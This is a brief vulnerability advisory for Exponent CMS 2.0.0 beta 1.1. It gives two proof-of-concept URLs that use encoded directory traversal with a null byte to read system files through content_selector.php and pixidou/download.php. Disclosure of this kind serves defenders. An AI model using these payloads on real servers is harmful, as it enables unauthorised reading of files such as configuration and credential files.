Home
Consulting
Advisories
Software
Articles
Contact

Exponent 2.0.0 beta 1.1 Local File Inclusion / Arbitrary Read

Legacy Advisories

Description

Proof Of Concept

Local File Inclusion:
http://localhost/exponent/content_selector.php?controller=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00&section=&action=

Arbitrary Read:
http://localhost/exponent/framework/modules/pixidou/download.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00


Copyright © 2018 AutoSec Tools LLC